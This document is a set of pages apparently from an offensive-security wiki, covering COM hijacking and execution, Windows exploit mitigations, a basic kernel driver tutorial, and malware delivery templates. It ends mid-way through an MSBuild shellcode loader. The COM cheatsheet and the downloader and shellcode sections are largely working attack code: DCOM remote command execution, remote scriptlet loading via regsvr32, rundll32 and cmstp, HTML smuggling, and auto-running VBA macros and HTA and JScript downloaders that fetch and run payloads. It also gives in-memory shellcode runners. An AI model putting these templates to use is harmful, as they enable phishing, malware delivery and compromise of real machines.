
Hijacking COM Objects can be risky business, modern Windows systems still use COM everywhere all the time, and you might brake the system if you hijack the wrong COM object with proper handling.&#x20;

So you either have to "Choose The Right COM Object", or you can create your COM server as a Proxy DLL that will execute your code but also provide the program that called the original COM object with the actual implementation of the original COM object.&#x20;

A PoC of this idea can be found [here](https://github.com/leoloobeek/COMProxy)

This approach still doesn't guaranty 100% stability, however it does reduce the frequency of crashes and system breakage.&#x20;

## 0x05 Conclusion

COM Hijacking is a common method for persistence and can appear in many forms and variations. Although COM is a complicated technology, detection of COM Hijacking is relatively easy when you know what to look for, which is mostly the modification of registry keys and values we discussed in this article. Consider also adding context and additional events to avoid false positives.&#x20;

Although an old technology COM is still widely used by windows and worth getting to know.&#x20;

If you're interested to learn COM in a more granular fashion I suggest to read Microsoft's Documentation or you can start with this page:[Demystifying Windows Component Object Model (COM)](/offensive-security/windows-components-object-model/demystifying-windows-component-object-model-com)

&#x20;


# COM Execution - T1559.001

Templates and methods of quickly executing COM and DCOM

Windows Components Object Model quick execution cheatsheet

## Powershell

Using Powershell with dotnet notation to quickly create a COM or DCOM instance using either CLSID or ProgID

### Execution via CLSID

```powershell
$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\mtr.exe > c:\fromdcom.txt","7")
```

### Execution via ProgID

```powershell
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\mtr.exe > c:\fromdcom.txt","7")
```

### DCOM Execution

Distributed COM is an extension of COM, which enables remote execution of COM among other things. Note that DCOM can also be executed **Locally** by specifying the loopback interface (127.0.0.1)

```powershell
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c C:\mtr.exe > c:\fromdcom.txt","7")
```

## Rundll32

### Execution via CLSID

```powershell
Rundll32.exe -sta {GUID}
```

### Execution via ProgID

```powershell
Rundll32.exe -sta Scripting.Dictionary
```

### Execution via shell32.dll

```powershell
# Using shell32 exported function
Rundll32.exe shell32.dll,SHCreateLocalServerRunDll {GUID}
```

### Scriptlet Execution from Remote Server

```powershell
# Running Scriptlet via JavaScript -> GetObject()
rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:http://127.0.0.1:8080/calc.sct").Exec();
```

### Remote Scriptlet via INF file

```
# with Rundll32
rundll32.exe advpack.dll,LaunchINFSection path\to\test.inf,DefaultInstall_SingleUser,1
```

## Regsvr32

### COM Local Scriptlet Execution&#x20;

```
# Running Scriptlet locally // without touching the registry
regsvr32 /s /n /u /i:malware.sct
```

### COM Scriptlet Execution from Remote Server

```
# COM Scriptlet via Regsvr32 from remote location // without touching the registry
regsvr32 /s /n /u /i:http://server/file.sct C:\Windows\system32\scrobj.dll
```

## CMSTP

Execution via INF file that downloads and executes a scriptlet (sct)

```
# INF File
# Running Scriptlet via CMSTP.exe INF-SCT file
[version]
Signature=$Chicago$
AdvancedINF=2.5
 
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
 
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://127.0.0.1:8080/test.sct
 
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="MalTrak"
ShortSvcName="MalTrak"
```

```
cmstp.exe /su test.inf
```

{% hint style="info" %}
Credit to @Amr\_Thabet for the INF code
{% endhint %}

## PyCOM

{% hint style="warning" %}
:tools:
{% endhint %}

## Verclsid

### Execution via CLSID

```
verclsid.exe /S /C {CLSID}
```

## Xwizard

### Execution via CLSID

```
xwizard.exe RunWizard /taero /u {CLSID}
```

## ATT\&CK Techniques in this Page

* Command and Scripting Interpreter: PowerShell - T1059.001
* Inter-Process Communication: Component Object Model - T1559.001
* System Binary Proxy Execution: CMSTP - T1218.003
* System Binary Proxy Execution: Rundll32 - T1218.011
* System Binary Proxy Execution: Verclsid - T1218.012
* System Binary Proxy Execution: Regsvr32 - T1218.010


# Windows Exploit Mitigations

## Mitigations Categories

1. Windows Defender Exploit Guard (Windows Only)
2. Compile-Time Controls
3. OS Controls

## Compile-Time Mitigations&#x20;

### Data Execution Prevention (DEP)

**Also Known As:**

* NX / DX Bit
* W^X&#x20;

**Can be Defeated by:**&#x20;

* Return Orient Programming (ROP)
* Return-to-libc

**Defends Against:**&#x20;

Executing code from areas in the executable that weren't meant initially to be executed (such as the Heap or the Stack).&#x20;

**How Does it Work:**

DEP is mainly a Hardware-based mitigation and It's main purpose is to prevent execution from memory sections that weren't meant to execute code such as the Heap or the Stack. Only intended memory sections would be allowed to have execute permissions such as the code segment.&#x20;

* Intel's calls the bit that is set to mark all non-executable pages the "execute disable" (XD) bit.&#x20;
* AMD calls the bit that is set to mark all non-executable pages the "no execute" (NX ) bit.&#x20;

### SafeSEH

{% hint style="warning" %}
Applies to 32-bit applications only
{% endhint %}

**Can be Defeated by:**&#x20;

* Jmping to a loaded module without SafeSEH
* Jmping outside the scope of loaded modules and base image.
  * <https://www.rcesecurity.com/2012/11/bypassing-safeseh-memory-protection-in-zoner-photo-studio-v15/>

**Defends Against:**&#x20;

* SEH Overwrite -  Overwriting the Structured Exception Handler pointer in the Stack and pointing to malicious code.&#x20;

**How Does it Work:**

When a module is being compiled with SafeSEH, a table containing the addresses of each Exception Handler is created. When an attacker attempts to to overwrite a handler, a validation of the address is performed and if it doesn't match the address in the SEH Table an exception will be thrown.&#x20;

{% hint style="info" %}
In 64-bit processes the pointers to the SEH resides in the .pdata section and not on the stack as oppose to 32-bit processes
{% endhint %}

### SEHOP

{% hint style="info" %}
32-bit Processes Protection Only
{% endhint %}

**Can be Defeated by:**&#x20;

* Precise overwrite of the exception handler using memory leak and scanning the SEH structure - <https://improsec.com/tech-blog/back-to-basics-or-bypassing-control-flow-guard-with-structured-exception-handler>

**Defends Against:**&#x20;

* Structured Exception Handlers Overwrite

**How Does it Work:**

At a high-level, the SEH overwrite technique uses a software vulnerability to execute arbitrary code by abusing the 32-bit exception dispatching facilities provided by Windows. \
\
At a functional level, an **SEH overwrite is generally accomplished by using a stack-based buffer overflow to overwrite an exception registration record that has been stored on a thread’s stack**. \
\
To provide some context, an **exception registration record is composed of two fields**: **a&#x20;*****next pointer*** and an ***exception handler function pointer***. The next pointer is used to link an exception registration record to the next record in the singly-linked list of registered exception handlers."&#x20;

The mitigation works by adding a symbolic record at the end of each SEH chain on every thread, this symbolic record resides at ntdll. When an attacker overwrites the SEH Handler he has to overwrite the "Next" pointer as well, which breaks the SEH Chain.&#x20;

SEHOP performs a SEH Chain walk whenever an exception triggered and attempt to reach the final symbolic record by following the "Next" pointers in the SEH Chain, if it fails to reach the final symbol it assumes the chain is corrupted and was overwritten and proceed to terminate the process safely.&#x20;

### Stack Canaries / Security Cookies

**Can be Defeated by:**&#x20;

* Canary Bruteforce (one byte at a time) - <https://ctf101.org/binary-exploitation/stack-canaries/#stack-canaries>

**Defends Against:**&#x20;

* &#x20;Control Flow change via Stack Overflow

**How Does it Work:**

After a function is being called, amongst other things, the return address is pushed to the stack which indicates where to jump back and continue execution once the current function finishes its purpose.&#x20;

Attackers may overwrite the return address and point to there own malicious code and once the RET instruction is hit, the execution flow will jump to the malicious code.&#x20;

Stack Canaries are unique and random values that are push after the RET address (Lower address on the stack) and contain a specific value that gets validated before jumping to the return address.&#x20;

Attackers must overwrite the canary in order to also overwrite the return address that points to their code, once the validation of the canary fails an exception occurs.

### Safe Unlinking - WIP

**Can be Defeated by:**&#x20;

* PLACEHOLDER

**Defends Against:**&#x20;

* Use-After-Free Exploit - Unsafe Heap Chunk Unlink

**How Does it Work:**

{% hint style="info" %}
**This is extremely simplified - Read How a Heap Works or consider that this is a partial explanation**&#x20;
{% endhint %}

A Heap is a dynamic memory area that allows dynamic allocation of data, a certain range of memory addresses is reserved to the heap on process start which can be later extended on-demand.&#x20;

The heap's memory address range and divided to "Chunks". \
Chunks can be Allocated or Free Chunks. If a Chunk is Free you can allocate it to a program that requests memory to be allocated to the heap. if it's already allocated it cannot be allocated.&#x20;

The heap allocator manages a doubly-linked list structure of Free Chunks. Each Free chunks points to the Next free chunks (where ever it might be) and to the Free Chunks behind it.&#x20;

When we call Free() to free an allocated chunks, the heap allocator calls unlink() which removes a Free chunks from the doubly-linked Free list. To maintain the correctness of the Free list, unlink() need to fix the pointers of the previous and forward chunks of the chunk we allocated so that they wouldn't point to the now allocated chunk.&#x20;

Fixing the linked list pointer with the Unsafe unlink() would the the backward-pointer and forward-points of chunk we allocated and write to the respective chunks that were adjacent to the allocated chunks.

**Free Chunks Doubly-linked list BEFORE unlink()**

* chunk1
  * backward-pointer -> chunk0
  * farward-pointer -> chunk2
* chukn2
  * backward-pointer -> chunk1
  * farward-pointer -> chunk3
* chunk3
  * backward-pointer -> chunk2
  * farward-pointer -> chunk4

**Free Chunks Doubly-linked list AFTER unlink()**

* chunk1
  * backward-pointer -> chunk0
  * farward-pointer -> chunk3
* chunk3
  * backward-pointer -> chunk1
  * farward-pointer -> chunk4

**What is Unsafe here?**&#x20;

The Unsafe operation is that the overwrite if the pointers of the adjacent chunks occurs without verifying that the adjacent chunks points to the allocated chunks


# Windows Kernel Drivers 101 - Creating a Simple Driver

Short Introduction to Windows Software Kernel Driver with Code snippet and example for a basic driver and a User-Mode client.

{% hint style="info" %}
If you're only interested in the Driver template and Client template you can skip to

\#driver-code-template-breakdown
{% endhint %}

## Windows Architecture Refresher

Before you are charts that were taken from "Windows Kernel Development" by Pavel Yosifovich, presented here for a quick representation of the general architecture of Windows OS and the general flow of a System Service Request (Syscall).&#x20;

<figure><img src="/files/ACAxPeWFfMCq3nH1hDJ4" alt=""><figcaption><p>Windows Architecture - Taken from "Windows Kernel Programming" by Pavel Yosifovich</p></figcaption></figure>

<figure><img src="/files/myj1gU5o7Rvr9ufcvsNX" alt=""><figcaption><p>System Service Request - Taken from "Windows Kernel Programming" by Pavel Yosifovich</p></figcaption></figure>

## Getting Started with Driver Development

When developing a Driver, you should have remote machine in which you can test the driver, or at the very least have a VM with a snapshot since there is a good chance to crash the system if you're not careful.&#x20;

{% hint style="warning" %}
Modern Windows machines have security mechanisms that only allows trusted drivers to load and execute such as Driver Signature Enforcement (DSE).&#x20;

To conveniently test drivers on modern system we can disable this mechanism using the native tool bcdedit.exe
{% endhint %}

### Requirements

* [ ] Visual Studio 2019 with C++ Workload installed.&#x20;
* [ ] Windows 10 SDK (Software Development Kit)
* [ ] Windows 10 WDK (Windows Driver Kit)

### Frameworks

Common Frameworks for driver development are [WDM ](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-wdm)and [KMDF](https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/writing-a-kmdf-driver-based-on-a-template), I will use WDM in this project.&#x20;

### Type of Drivers

Drivers are divided into two types, User-Mode drivers and Kernel-Mode drivers. Within kernel-mode drivers are additional types of drivers in which you can read more about [here](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/types-of-windows-drivers)

The driver template in this page is a simple software driver.&#x20;

### Enable Test Mode&#x20;

To allow unsigned or self-signed driver to load and execute, use bcdedit.exe

```
bcdedit.exe /set testsigning on 
```

After a successful prompt you will need to reboot the machine.&#x20;

## General Flow of Driver Execution

### **Driver Initialization**

**DriverEntry** is the Entry point of a Driver, it's the equivalent of a main() of user-mode programs. Most software drivers will be required to do the following actions before the driver can receive requests from clients.&#x20;

1. Set unload routine
2. Set dispatch routines the driver support (e.g. IRP\_MJ\_CREATE for example)
3. Create device object -> IoCreateDevice()
4. Create a symbolic link to the device object -> IoCreateSymbolicLink()

<pre class="language-cpp"><code class="lang-cpp">extern "C"
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {

	UNREFERENCED_PARAMETER(DriverObject);
	UNREFERENCED_PARAMETER(RegistryPath);
	// 1. Setting the DriverUnload (which hasn't been defined yet)
	DriverObject->DriverUnload = UnloadTestDriver;
	
	// 2. Setting Dispatch routine
	DriverObject->MajorFunction[IRP_MJ_CREATE] = BlueDriverCreateClose;
	
	// 3. Create Driver's DeviceObject; This object is accessible from user-mode and allows communication to the driver 
	UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\BlueStreetDriver");
<strong>	PDEVICE_OBJECT DeviceObject;
</strong>	NTSTATUS status = IoCreateDevice(DriverObject, 0, &#x26;devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &#x26;DeviceObject);

	if (!NT_SUCCESS(status)) {
		TRACE("Failed to create device object (0x%08X)\n", status);
		return status;
	}

	// 4. Create Symbolic link for the Device which is accessible from user-mode
	UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\BlueStreetDriver");
	status = IoCreateSymbolicLink(&#x26;symLink, &#x26;devName);
	if (!NT_SUCCESS(status)) {
		TRACE("Failed to create symbolic link (0x%08X)\n", status);
		IoDeleteDevice(DeviceObject);
		return status;
	}

	return STATUS_SUCCESS;
}
</code></pre>

### Communication between User-Mode & Kernel-Mode

On a basic level, for a user-mode client to communicate with a driver it needs to:

1. Open a handle to the device's object -> **CreateFile**()
2. Send IO Control Requests -> **DeviceIoControl**()

{% hint style="info" %}
The handle we open to the Device object is a handle to it's symbolic link which the Driver created, only using the symbolic link can we get a handle and communicate with the driver.&#x20;
{% endhint %}

## Driver & Client Template Breakdown&#x20;

### Template

{% tabs %}
{% tab title="Driver.cpp" %}

```cpp
#include <ntifs.h>
#include "BasicDriverCommon.h"
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define TRACE(format, ...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, format, __VA_ARGS__)

NTSTATUS BlueDriverCreateClose(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);
NTSTATUS BlueDriverDeviceControl(_In_ PDEVICE_OBJECT DeviceObject, _In_ PIRP Irp);

// MJ Function Create & Close
NTSTATUS BlueDriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
	UNREFERENCED_PARAMETER(DeviceObject);

	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

// MJ Function Control Device
NTSTATUS BlueDriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

	UNREFERENCED_PARAMETER(DeviceObject);
	TRACE("Entered Device Control MJ Function\n");

	// get our IO_STACK_LOCATION
	auto stack = IoGetCurrentIrpStackLocation(Irp); // IOC_STACK_LOCATION*
	auto status = STATUS_SUCCESS;

	switch (stack->Parameters.DeviceIoControl.IoControlCode) {

	case IOCTL_BLUESTREET_SEND_DATA:
	{
		TRACE("BLUESTREET_SEND_DATA Control Activated\n");

		// Data from IRP can be accessed via stack->Parameters.DeviceIoControl.Type3InputBuffer
		auto BufferContent = (UINT32*)stack->Parameters.DeviceIoControl.Type3InputBuffer;
		int bufferSize = sizeof(*BufferContent);

		TRACE("BufferSize: %i\n", bufferSize);
		TRACE("BufferContent: %u\n", *BufferContent);
		break;
	}

	default:
		status = STATUS_INVALID_DEVICE_REQUEST;
		break;
	}
	Irp->IoStatus.Status = status;
	Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return status;
}



void UnloadTestDriver(_In_ PDRIVER_OBJECT DriverObject) {

	TRACE("Sample Driver Unload called\n");
	UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\BlueStreetDriver");
	// Delete symbolic link
	IoDeleteSymbolicLink(&symLink);

	// Delete Device object
	IoDeleteDevice(DriverObject->DeviceObject);
}

extern "C"
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {

	UNREFERENCED_PARAMETER(DriverObject);
	UNREFERENCED_PARAMETER(RegistryPath);
	TRACE("[+] Entered DriverEntry\n");

	// Configuring our Driver's MAJOR Functions 
	DriverObject->DriverUnload = UnloadTestDriver;
	DriverObject->MajorFunction[IRP_MJ_CREATE] = BlueDriverCreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = BlueDriverCreateClose;
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = BlueDriverDeviceControl;

	// Create Driver's DeviceObject; This object is accessible from user-mode and allows communication to the driver 
	UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\BlueStreetDriver");
	PDEVICE_OBJECT DeviceObject;
	NTSTATUS status = IoCreateDevice(DriverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);

	if (!NT_SUCCESS(status)) {
		TRACE("Failed to create device object (0x%08X)\n", status);
		return status;
	}

	// Create Symbolic link for the Device which is accessible from user-mode
	UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\BlueStreetDriver");
	status = IoCreateSymbolicLink(&symLink, &devName);
	if (!NT_SUCCESS(status)) {
		TRACE("Failed to create symbolic link (0x%08X)\n", status);
		IoDeleteDevice(DeviceObject);
		return status;
	}

	return STATUS_SUCCESS;
}

```

{% endtab %}

{% tab title="Client.cpp" %}

```cpp
#include <Windows.h>
#include <stdio.h>
#include "..\BasicDriver\BasicDriverCommon.h"

int Error(const char* message) {
    printf("%s (error=%d)\n", message, GetLastError());
    return 1;
}


int main(int argc, const char* argv[])
{
    unsigned int data = 1234;

    // Get handle to device object n;
    HANDLE hDevice = CreateFile(L"\\\\.\\BlueStreetDriver", \
        GENERIC_WRITE, FILE_SHARE_WRITE, \
        nullptr, OPEN_EXISTING, 0, nullptr);

    if (hDevice == INVALID_HANDLE_VALUE) {
        return Error("[!] Failed to open device");
    }

    DWORD returned;
    BOOL success = DeviceIoControl(hDevice,
        IOCTL_BLUESTREET_SEND_DATA,
        &data,
        sizeof(data),
        nullptr, 0,
        &returned, nullptr);

    if (success)
        printf("[+] IOCTL was successfully sent\n");
    else
        Error("[!] Failed sending IOCTL\n");

    CloseHandle(hDevice);
}
```

{% endtab %}

{% tab title="BasicDriverCommon.h" %}

```cpp
#pragma once 
#define BLUESTREET_DEVICE 0x8000 
#define IOCTL_BLUESTREET_SEND_DATA CTL_CODE(BLUESTREET_DEVICE,
0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
```

{% endtab %}
{% endtabs %}

### Breakdown

PLACEHOLDER

## Testing the Driver

1. Installing the Driver as a service with sc.exe

<figure><img src="/files/ClFCbUYypeGY0QhQ3NNE" alt=""><figcaption></figcaption></figure>

2\. Starting the service and using Winobj.exe (sysinternals) to verify the symbolic link to the Device was created successfully.&#x20;

<figure><img src="/files/u8Qw7o9vNxZKt3lbpyOG" alt=""><figcaption></figcaption></figure>

3\. Executing the client process that initiates a DeviceIoControl() to the driver and using DebugView\.exe (sysinternals) to observe the TRACE messages and verify the data from user-mode passed to the driver.&#x20;

<figure><img src="/files/owb7qj89CqoqTNgnlSks" alt=""><figcaption></figcaption></figure>

## Generic Notes about Drivers

PLACEHOLDER

## References and Additional Read

For actual driver / kernel development I recommend these sources for start:

* <https://learn.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/>
* <https://www.amazon.com/Windows-Kernel-Programming-Pavel-Yosifovich/dp/1977593372>


# Code Execution Templates

Container Page for various code executions templates


# Downloaders and Shellcodes

## Downloaders

### HTML Smuggling

#### HTML Smuggling Code - Chrome

{% hint style="danger" %}
Note that we chose to browse to the **HTML file with Google Chrome** since it **supports window\.URL.createObjectURL**. This technique **must be modified** to work against browsers like Internet Explorer and Microsoft Edge.

When an Executable is downloaded via browser it is tagged as downloaded from the internet and Windows SmartScreen activate; \
Windows and the SmartScreen feature tries to block execution.&#x20;
{% endhint %}

```html
<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64) {
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array( len );
                for (var i = 0; i < len; i++) { 
                    bytes[i] = binary_string.charCodeAt(i);
                }
                return bytes.buffer;
            }
            
            var file ='AAAAAAAA....' /* Base64 Encoded payload */
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {type: 'octet/stream'});
            var fileName = '221.exe';
            var a = document.createElement('a');
            document.body.appendChild(a);
            a.style = 'display: none';
            var url = window.URL.createObjectURL(blob);
            a.href = url;
            a.download = fileName;
            a.click();
            window.URL.revokeObjectURL(url);
        </script>
    </body>
</html>
```

#### HTML Smuggling Code - MS Edge

Utilize - window\.navigator.msSaveBlob

```jsx
<html>
    <body>
        <script>
            function base64ToArrayBuffer(base64) {
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array( len );
                for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
                }
                return bytes.buffer;
            }
            var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...'
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {type: 'octet/stream'});
            var fileName = 'msfstaged.exe';
            navigator.msSaveBlob(blob, fileName);

        </script>
    </body>
</html>
```

### VBA Downloader

{% hint style="info" %}
This template contains Document\_Open() which works on Word documents, for this to auto open on excel you should use Workbook\_Open() or the usual AutoOpen()
{% endhint %}

```vba
Sub Document_Open() 
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/221.exe', '221payload.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path + "\221payload.exe"
    Wait (2)
    Shell exePath, vbHide
    End Sub
    
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
```

### JScript

```javascript
var url = "http://192.168.119.120/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
if (Object.Status == 200)
{
 var Stream = WScript.CreateObject('ADODB.Stream');
 Stream.Open();
 Stream.Type = 1;
 Stream.Write(Object.ResponseBody);
 Stream.Position = 0;
 Stream.SaveToFile("met.exe", 2);
 Stream.Close();
}
var r = new ActiveXObject("WScript.Shell").Run("met.exe");
```

### HTA Downloader

```html
<html>
<head>
<script language="VBScript"> 
    Sub RunProgram
        Set objShell = CreateObject("Wscript.Shell")
				' Choose command to run at objShell.Run
        objShell.Run "certutil.exe -urlcache -f http://127.0.0.1/mtr_rs_tcp_80.exe C:\windows\temp\svchost.exe"
		
		Dim dtmStartTime    
		dtmStartTime = Now 
        idTimer = window.setTimeout("PausedSection", 5000, "VBScript")
    End Sub
	
	Sub PausedSection
        Msgbox dtmStartTime & vbCrLf & Now
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run "cmd.exe /c C:\windows\temp\svchost.exe"
	End Sub
	
RunProgram()


</script>
</head> 
<body>
    "Im definitly not suspicious"
</body>
</html>
```

## ShellCode Execution

### VBA Shellcode Execution

```vba
' Windows API Imports Declaration
' CreateThread ; VirtualAlloc ; RtlMoveMemory
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes
As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As
LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As
LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As
Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As
LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long
    ' Bytearray that contains the shellcode payload
    buf = Array(232,..., 213) 
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
```

### Powershell Shellcode Execution (.NET) via P/Invoke

{% hint style="info" %}
C -> C# Types

[www.pinvoke.net](http://www.pinvoke.net)
{% endhint %}

{% hint style="danger" %}
Add-Type calls the csc compiler, which writes to disk.&#x20;
{% endhint %}

```powershell
# Using PInvoke & .NET we can define and import Win32 APIs and use them via powershell
# We use "Here-Strings", e.g. @" "@ to right .NET code in powershell script
# Then we use the 'Add-Type' cmdlet which compiles the .NET code and retrieves
# a powershell object which we can use to execute the methods. 
# This complition process performed by csc.exe and creates artifacts on disk of both the source code and compiled assembly

$Kernel32 = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class Kernel32 {
        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        
        [DllImport("kernel32", CharSet=CharSet.Ansi)]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    }
"@

Add-Type $Kernel32

# Here enters the payload
[Byte[]] $buf = 0xaa, 0xff, ...

$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);

# Keeps the thread alive until we exit the shell
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")

```

### Powershell Dynamic Invoke

```powershell
function LookupFunc {
 Param ($moduleName, $functionName)
 $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
 Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
 Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
 $tmp=@()
 $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
 return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
 Param (
 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
 [Parameter(Position = 1)] [Type] $delType = [Void]
 )
 
 $type = [AppDomain]::CurrentDomain.
 DefineDynamicAssembly((New-Object 
 System.Reflection.AssemblyName('ReflectedDelegate')),
 [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
 DefineDynamicModule('InMemoryModule', $false).
 DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
 [System.MulticastDelegate])
 
 $type.
 DefineConstructor('RTSpecialName, HideBySig, Public',
 [System.Reflection.CallingConventions]::Standard, $func).
 SetImplementationFlags('Runtime, Managed')
 
 $type.
 DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
 SetImplementationFlags('Runtime, Managed')
 
 return $type.CreateType()
}

$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]po

([IntPtr])
$VirtualAlloc =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
$VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

$lpMem =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc
kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

# Editing & Change your shellcode
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc
kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],
[UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc
kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32])
([Int]))).Invoke($hThread, 0xFFFFFFFF)
```

### MSBUILD XML

```
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
         <!-- This inline task executes shellcode. -->
         <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
         <!-- Save This File And Execute The Above Command -->
         <!-- Author: Casey Smith, Twitter: @subTee -->
         <!-- License: BSD 3-Clause -->
	  <Target Name="Hello">
	    <ClassExample />
	  </Target>
	  <UsingTask
	    TaskName="ClassExample"
	    TaskFactory="CodeTaskFactory"
	    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	    <Task>
	    
	      <Code Type="Class" Language="cs">
	      <![CDATA[
		using System;
		using System.Runtime.InteropServices;
		using Microsoft.Build.Framework;
		using Microsoft.Build.Utilities;
		public class ClassExample :  Task, ITask
		{         
